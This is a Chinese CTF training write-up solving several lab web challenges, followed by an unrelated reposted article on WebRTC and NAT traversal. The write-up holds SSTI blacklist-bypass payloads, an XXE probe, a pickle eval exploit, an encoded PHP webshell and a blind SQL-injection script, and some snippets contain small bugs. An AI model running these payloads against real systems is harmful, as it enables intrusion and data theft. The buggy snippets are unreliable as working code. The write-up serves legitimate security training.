[BUUCTF] 集训第六天

[BSidesCF 2019]Futurella

火星文

  • 复制粘贴搜索框就可以获得flag
  • 看源码

轻易得不敢copy flag

[BUUCTF] 集训第六天

; [GYCTF2020]FlaskApp

这里会自动重定向到xss平台,很迷
flask debug可以找到源码

[BUUCTF] 集训第六天

flasky
尝试ssti模板注入

先重定向 点击返回拿到base64编码去解码 同理点击+返回操作

[BUUCTF] 集训第六天

[BUUCTF] 集训第六天
{{7*7}}不可以 {{7+7}}可以 别问为什么 有waf

读app.py

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
Open an interactive python shell in this frame
​res =  render_template_string(tmp)

[BUUCTF] 集训第六天

htmldecode工具

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html",txt = txt)

@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果  :{0}".format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))

    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))

    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")

@app.route('/',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

waf

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

过滤了 怪不得
过滤了flag和一些重要函数
利用拼接绕过*

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

[BUUCTF] 集训第六天
拼接 flag 利用 open函数读取 this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %

学习:
切片+[::-1]倒置

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[NCTF2019]True XML cookbook

  • XXE外部实体注入
  • 探测内网

DOCTYPE j1a []>
<user><username>&exp;username><password>123password>user>

[BUUCTF] 集训第六天成功xxe

DOCTYPE j1a []>
<user><username>&exp;username><password>123password>user>

[BUUCTF] 集训第六天
  • 内网存活主机探测

内网探测存活的主机=>获取 /etc/hosts文件

[BUUCTF] 集训第六天无有效信息
获取 /proc/net/arp文件

[BUUCTF] 集训第六天内网存活主机ip=> 10.0.158.2
  • 扫c段
    [BUUCTF] 集训第六天

[BUUCTF] 集训第六天

## [CISCN2019 华北赛区 Day1 Web2]ikun

要买lv6,这一页没有,下一页也没有,跑脚本吧

标志是 lv6.png,因为lv6每一页都会有

import requests

url = "http://06b6c6d8-b926-4e4e-a153-7d40ce739679.node4.buuoj.cn:81/shop?page="

for i in range(2, 200):
    res = requests.get(url+str(i))

    if 'lv6.png' in res.text:
        print(i)
        break

181页
第一个商品就是, buy it
还是买不了,抓包看看,有一个价钱和多出来的” 折扣 “,

  • 改价格
  • 改折扣
    怎么小怎么改, 改折扣成功

[BUUCTF] 集训第六天[BUUCTF] 集训第六天[BUUCTF] 集训第六天

只能admin,那看看token,是 JWT

知识点:
什么是JWT
COOKIE,SESSION,JWT的区别
工具:

  • 获得信息
  • 破解密钥
  • 修改信息

https://jwt.io/

[BUUCTF] 集训第六天 https://github.com/brendan-rius/c-jwt-cracker
[BUUCTF] 集训第六天
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

这里有个严重的逻辑错误,改jwt重放的页面是这个页面,不是购买的页面,它都提示了。。。

[BUUCTF] 集训第六天
[BUUCTF] 集训第六天

查看源码:

[BUUCTF] 集训第六天提示 www.zip源码泄露

看看这个模板对应的源码,搜一下This is Black Technology
admin.py

[BUUCTF] 集训第六天
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))

become对应请求头

[BUUCTF] 集训第六天
  • *pickle反序列化

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀
为.pkl),不能直接打开进行预览。

https://blog.csdn.net/u013008795/article/details/89790828
https://zhuanlan.zhihu.com/p/64027434
https://www.jb51.net/article/57661.htm

函数说明dumps对象反序列化为bytes对象dump对象反序列化到文件对象,存入文件loads从bytes对象反序列化load对象反序列化,从文件中读取数据

二进制流&&文件形式

dump(obj,file,protocol=None,*,fix_imports=True)
  • obj:需要序列化的对象
  • file:文件描述符,需要写入的文件描述符
  • protocol:协议 序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
  • fix_imports:
dumps(obj, protocol=None, *, fix_imports=True)->bytes
  • obj:需要序列化的对象
  • protocol:协议
  • fix_imports:
  • bytes:返回值 序列化后的bytes
load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
  • file :文件描述符,序列化后生成的文件。
  • fix_imports:
  • encoding:文件编码,默认为ASCII
  • errors
loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")->从bytes中反序列化
  • bytes_object:序列化后的bytes对象
  • fix_imports:
  • encoding:编码
  • errors

总:

好好学习:
《python魔术方法指南》

[BUUCTF] 集训第六天这里利用的是__reduce__
exp.py
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

become = pickle.dumps(payload())
become = urllib.quote(a)
print become

urlib.quote
这里是 python2 语法

[BUUCTF] 集训第六天
[BUUCTF] 集训第六天
一键成为大会员

[MRCTF2020]套娃

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
/secrettw.php

[BUUCTF] 集训第六天看源码
  • jsfuck编码
post me Merak

[BUUCTF] 集训第六天
  • post传参Merak

error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
    highlight_file(__FILE__);
    die();
}

function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) + $i*2 );
    }
    return $re;
}
echo 'Local access only!'."";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
  • 本地
    x-forwarded-for不可以
    client-ip可以
    [BUUCTF] 集训第六天
  • data伪协议绕过if
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
  • re

ord()函数

function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) + $i*2 );
    }
    return $re;
}

加密了,反写一波
逆向逆向==正向

<?php
function rerechange($v){
    $rere = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) - $i*2 );
    }
    return base64_encode($rere);
}

$str="flag.php";
echo rerechange($str);

//ZmpdYSZmXGI=
</code>

[极客大挑战 2019]RCE ME

这个过滤好狠

执行函数:

  • eval
  • assert
  • system
  • exec
  • shell_exec
  • passthru
  • preg_replace()+/e
  • create_function()
  • call_user_func_array()
  • call_user_func()
  • array_map()
  • array_filter()

绕过方法:

  • 字符串拼接绕过
  • 字符串转义绕过
  • 多次传参绕过
  • 内置函数访问绕过
  • 异或绕过
  • URL编码取反绕过

1. 异或、取反urlencode编码绕过+蚁剑

异或

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

取反(下一步好像不能一句话)

C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
C:\Users\Administrator>

<?php
error_reporting(0);

$a='assert';
$a=urlencode(~$a);
echo $a;

echo "<br>";
$b='(eval($_POST["j1a"]))';
$b=urlencode(~$b);
echo $b;

 ?>

2.通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

antsword jsp环境
永远的痛

https://www.cnblogs.com/yesec/p/12483631.html

[WUSTCTF2020]颜值成绩查询

  • 布尔盲注
/?stunum=1#

2-1
1^1^1
均回显成功,过滤了空格,尝试手工发现式布尔盲注

参考之前的

当时的exp写的二分法比较特殊,这里是正常的写法:

import requests
import time

url = "http://ade85c26-7f56-4212-9d96-d4906f545b19.node4.buuoj.cn:81/?stunum="
res = ''
for i in range(1, 50):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left) >> 1)
    while left < right:

        payload = "^(ascii(substr((select(value)from(flag)),{},1))>{})".format(i, mid)
        r = requests.get(url=url+payload, timeout=3)
        if r.status_code == 429:
            print('too fast')
            time.sleep(1)
        if 'Hi admin, your score is: 100' not in r.text:
            left = mid + 1
        elif 'Hi admin, your score is: 100' in r.text:
            right = mid
        mid = left + ((right-left) >> 1)
    if mid == 31 or mid == 127:
        break
    res += chr(mid)
    print(str(mid), res)

调了好久的payload 我恨啊
timeout根据情况设置

https://blog.csdn.net/SopRomeo/article/details/106148254

这个抽奖不简单

查看源码,有一段js代码

$(document).ready(function(){
    $("#div1").load("check.php #p1");

        $(".close").click(function(){
                $("#myAlert").hide();
    });

    $("#button1").click(function(){
        $("#myAlert").hide();
        guess=$("input").val();
        $.ajax({
       type: "POST",
       url: "check.php",
       data: "num="+guess,
           success: function(msg){
             $("#div2").append(msg);
             alertmsg = $("#flag").text();
             if(alertmsg=="没抽中哦,再试试吧"){
               $("#myAlert").attr("class","alert alert-warning");
                if($("#new").text()=="")
                $("#new").append(alertmsg);
             }
             else{
                $("#myAlert").attr("class","alert alert-success");
                if($("#new").text()=="")
                $("#new").append(alertmsg);
             }

           }
        });
        $("#myAlert").show();
        $("#new").empty();
        $("#div2").empty();
    });
});

看看check.php

 <?php

header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "".$str_show."";

if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}";
    }
    else{
        echo "没抽中哦,再试试吧";
    }
}
show_source("check.php");
  • *php伪随机性

如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
原理:mt_scrand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。
工具https://www.openwall.com/php_mt_seed/

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "".$str_show."";

生成随机数正逻辑

根据给出的随机数的一个part逆向出

用工具爆破出seed

正逻辑生成完整的随机数

67324128

[FBCTF2019]RCEService

离fastjson-rce更近了一步

  • *jason格式写rce-payload
?cmd={"cmd":"ls"}

根据网传源码过滤了很多函数
preg_match()函数只能匹配第一行数据,可以使用换行符 %0a绕过尝试对应的换行截断

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

为什么是这个目录呢?

网传源码:


putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected';
  } else {
    echo 'Attempting to run command:';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '';
  }
}
?>

学习:
https://xz.aliyun.com/t/5399

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://8389c34b-492e-4bf1-b4e3-8974b7d57476.node4.buuoj.cn:81/", data={"cmd":payload})

print(res.text)

[BUUCTF] 集训第六天

Original: https://blog.csdn.net/Dannie01/article/details/120592992
Author: J1A
Title: [BUUCTF] 集训第六天



相关阅读

Title: 7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越

一、Candidate

  • 即 ICE Candidate(ICE 候选者)。表示 WebRTC 与远端通信时使用的协议、IP 地址和端口
  • 一般组成包括: 本地 IP 地址、本地端口号、候选者类型,包括 host、srflx 和 relay、优先级、传输协议等等
  • 当 WebRTC 通信双方彼此要进行连接时,每一端都会提供许多候选者,比如你的主机有多块网卡,那么每块网卡的不同端口都是一个候选者
  • WebRTC 会按照上面描述的格式对候选者进行排序,然后按优先级从高到低的顺序进行连通性测试,当连通性测试成功后,通信的双方就建立起了连接
  • 在WebRTC 中,它首先会尝试 NAT 穿越,即尝试端到端直连。如果能够穿越成功,那双方就通过直连的方式传输数据,这是最高效的。但如果 NAT 穿越失败,为了保障通信双方的连通性,WebRTC 会使用中继方式,当然使用这种方式传输效率会低一些
  • 在众多候选者中,host 类型的候选者优先级是最高的。在 WebRTC 中,首先对 host 类型的候选者进行连通性检测,如果它们之间可以互通,则直接建立连接。其实,host 类型之间的连通性检测就是内网之间的连通性检测。WebRTC 就是通过这种方式巧妙地解决了大家认为很困难的问题
  • 同样的道理,如果 host 类型候选者之间无法建立连接,那么 WebRTC 则会尝试次优先级的候选者,即 srflx 类型的候选者。也就是尝试让通信双方直接通过 P2P 进行连接,如果连接成功就使用 P2P 传输数据;如果失败,就最后尝试使用 relay 方式建立连接
  • 如果用代码结构表示,大概可以是如下:
  • host:表示本机候选者
  • srflx:表示内网主机映射的外网的地址和端口
  • relay:表示中继候选者
{
    IP: 127.0.0.1,
    port: 3333,
    type: host/srflx/relay,
    priority: number,
    protocol: UDP/TCP,
    usernameFragment: string
}

二、STUN 协议

  • 如果主机没有公网地址,是无论如何都无法访问公网上的资源的
  • 而一般情况下,主机都只有内网 IP 和端口,那它是如何访问外网资源的呢
  • 在内网的网关上都有 NAT (Net Address Transport) 功能
  • NAT 的作用就是进行内外网的地址转换
  • 这样当你要访问公网上的资源时,NAT 首先会将该主机的内网地址转换成外网地址,然后才会将请求发送给要访问的服务器;服务器处理好后将结果返回给主机的公网地址和端口,再通过 NAT 最终中转给内网的主机
  • 而想让内网主机获得它的外网 IP 地址,就只需要在公网上架设一台服务器,并向这台服务器发个请求即可获得,也就是 STUN 协议,我们只要遵守这个协议就可以拿到自己的公网 IP 了

7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越

三、TURN 协议

  • 我们经常说的 relay 服务器或 TURN 服务器它们是同一个意思,都是指中继服务器
  • 而relay 服务是通过 TURN 协议实现的
  • relay 型候选者的优先级与其他类型相比是最低的,但在其他候选者都无法连通的情况下,relay 候选者就成了最好的选择。因为它的连通率是所有候选者中连通率最高的

四、NAT 打洞 /P2P 穿越

  • NAT解决的问题: IPv4 地址不够用的、安全问题
  • 当收集到 Candidate 后,WebRTC 就开始按优先级顺序进行连通性检测了。它首先会判断两台主机是否处于同一个局域网内,如果双方确实是在同一局域网内,那么就直接在它们之间建立一条连接
  • 但如果两台主机不在同一个内网,WebRTC 将尝试NAT 打洞,即 P2P 穿越。在 WebRTC中,NAT 打洞是极其复杂的过程,它首先需要对 NAT 类型做判断,检测出其类型后,才能判断出是否可以打洞成功,只有存在打洞成功的可能性时才会真正尝试打洞
  • WebRTC 将 NAT 分类为 4 种类型:完全锥型 NAT、IP 限制型 NAT、端口限制型 NAT、对称型 NAT

五、ICE

  • ICE 就是包括了 STUN、TURN 协议的一套框架
  • 其实 ICE 就是上面所讲的获取各种类型 Candidate 的过程
  • 就是:在本机收集所有的 host 类型的 Candidate,通过 STUN协议收集 srflx 类型的 Candidate,使用 TURN 协议收集 relay 类型的 Candidate

六、完全锥型 NAT

  • 完全锥型 NAT 的特点是,当 host 主机通过 NAT 访问外网的 B 主机时,就会在 NAT 上打个”洞”,所有知道这个”洞”的主机都可以通过它与内网主机上的侦听程序通信
  • 所谓的”打洞”就是在 NAT 上建立一个内外网的映射表,并且一般会使用UDP 是无连接协议,也就是说只要你发送数据给它,它就能收到

7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越

七、IP 限制锥型 NAT

  • IP 限制锥型要比完全锥型 NAT 严格得多
  • 它主要的特点是,host 主机在 NAT 上”打洞”后,NAT 会对穿越洞口的 IP 地址做限制
  • 只有指定的 IP 地址才可以通过,也就是说,只有 host 主机访问过的外网主机才能穿越 NAT

7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越

八、端口限制锥型

  • 端口限制锥型比 IP 限制锥型 NAT 更加严格
  • 它主要的特点是,在 NAT 上对打洞时对IP 地址做了限制,还对具体的端口做了限制

7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越

九、对称型 NAT

  • 对称型 NAT 是所有 NAT 类型中最严格的一种类型
  • 对称型 NAT 对每个连接都使用不同的端口,甚至更换 IP 地址,会建立多个内外网的映射表

7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越

Original: https://www.cnblogs.com/sunnyeden/p/16276569.html
Author: sunnyeden
Title: 7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/303185/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载